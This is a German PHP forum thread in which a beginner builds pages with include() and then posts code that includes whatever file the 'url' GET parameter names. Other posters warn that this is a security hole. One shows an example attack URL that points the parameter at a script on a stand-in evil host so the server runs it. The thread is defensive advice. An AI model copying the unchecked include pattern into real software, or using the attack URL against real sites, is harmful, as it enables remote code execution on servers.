Links mit php und include
Daniel
- php
Hallo!
Ich (PHP Anfänger) habe ein kleines Problem. Versuche gerade eine kleine Seite von html in
PHP umzuschreiben. Ich poste euch einfach mal den Quelltext rein:
<html>
<head>
</head>
<body bgcolor="#FFFFFF">
<table align="center" border="0" style="border-collapse:collapse;">
<tr>
<td valign="top" bgcolor="#000000" style="width:130px">
<?
include("header.php")
?>
</td>
<td valign="top" bgcolor="#000000" style="width:200px">
<?
include("start.php")
?>
</td>
</tr>
</table>
Es werden also die 2 php Dateien header.php und start.php in die Seite per include eingefügt.
Die Header php ist ein Menü. Jetzt hab ich das problem wenn ich dieses Menü verlinke und den
link dann neu aufrufe läd er mir die Seite komplett neu und zeigt nur die header.php an
(find ich logisch denn es fehlt ja sowas wie ein target befehl)
Wie krieg ich das gelöst?
Gruß Daniel
Hallo Daniel,
Ich befuerchte, Du denkst immer noch in Frames.
Vergiss das Frames-Denken!
Includes, wie man sie im einfachsten Fall verwendet,
sind nur "HTML-Bausteine".
Z.B. der HTML-Code fuer ein Navigations-Menue
(bei Dir z.B. header.php):
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="seite1.html">Seite 1</a></li>
<li><a href="seite2.html">Seite 2</a></li>
<li><a href="kontakt.html">Kontakt</a></li>
</ul>
Dieser Code allein ist kein vollstaendiges HTML-Dokument.
Also ist es auch nicht sinnvoll, einen Link darauf zu setzen.
<a href="header.php">Menue</a> waere sehr schlecht.
Achte darauf, dass Du immer nur Links auf vollstaendige
Seiten machst und nur vollstaendige HTML-Seiten auslieferst,
welche genau einmal <!DOCTYPE ...>, <head> und <body> enthalten.
Vielleicht hilft Dir ja mein Artikel zum Thema "Includes" weiter:
http://www.tiptom.ch/homepage/includes.html
Uebrigens: Wenn die eingebundenen Dateien ihrerseits
keinen PHP-Code enthalten, sondern nur statischen
HTML-Code, dann kannst Du sie genausogut auch einfach
mit readfile() einbinden.
Statt
include("header.php");
also einfach
readfile("header.php");
Das ist sinnvoller und auch etwas schneller.
Gruesse,
Thomas
P.S. Bitte lass all die veralteten Attribute aus
dem HTML-Quellcode weg und mach alles, was Layout
betrifft, nur noch mit CSS, insbesondere Farben.
Und wenn schon solltest Du _alle_ Farben im
<body>-Element angeben, nicht nur die Hintergrundfarbe.
http://www.w3.org/2003/07/30-color
Guck mal hier:
html>
<head>
</head>
<body bgcolor="#FFFFFF">
<table align="center" border="0" style="border-collapse:collapse;">
<tr>
<td valign="top" bgcolor="#000000" style="width:130px">
<?
include("header.php")
?>
</td>
<td valign="top" bgcolor="#000000" style="width:200px">
<?
if ($_GET["url"]=="") {$url="start.php";} else {$url=$_GET["url"];}
include($url)
?>
</td>
</tr>
</table>
</body>
</html>
Das funktioniert genau so wie ich das gerne hätte. Das mit den Farbangaben werd ich noch korrigieren. Danke für die Tips!
Hallo Daniel,
if ($_GET["url"]=="") {$url="start.php";} else {$url=$_GET["url"];}
include($url)
nein, mach das bitte _nicht_ so - du fängst dir damit ein Sicherheitsloch ein (das Thema hatten wir vor kurzem erst - siehe </archiv/2004/2/71856/#m413802>ff und </archiv/2004/2/71896/>)
Grüße aus Nürnberg
Tobias
Hallo Daniel,
if ($_GET["url"]=="") {$url="start.php";} else {$url=$_GET["url"];}
include($url)
Du willst also per URL-Parameter einen Ort angeben,
von wo Dein Script Quellcode abholen und auch
ausfuehren soll.
Das ist virtueller Selbstmord, wie Tobias schon schrieb.
Dann koennte Die naemlich jedermann mit
deinscript.php?url=http://boese.example.com/boeses_script.txt
extrem gefaehrlichen Quellcode unterjubeln,
und dieser wuerde auf Deinem Server von PHP
ausgefuehrt.
1. Lies die dclp-FAQ, insbesondere:
Wie unterscheide ich böse Variablen von guten?
http://www.dclp-faq.de/q/q-security-variablen.html
Binde nur Quellcode ein, der auf Deinem eigenen Server ist.
2. Verwende readfile() statt include(), wie ich schon schrieb.
Gruesse,
Thomas
der sich immer wieder fragt, was die Leute an URLs wie
...index.php?url=start.php, ...index.php?url=kontakt.php
so toll finden und wo sie dieses seltsame "Konzept"
abgeschrieben haben.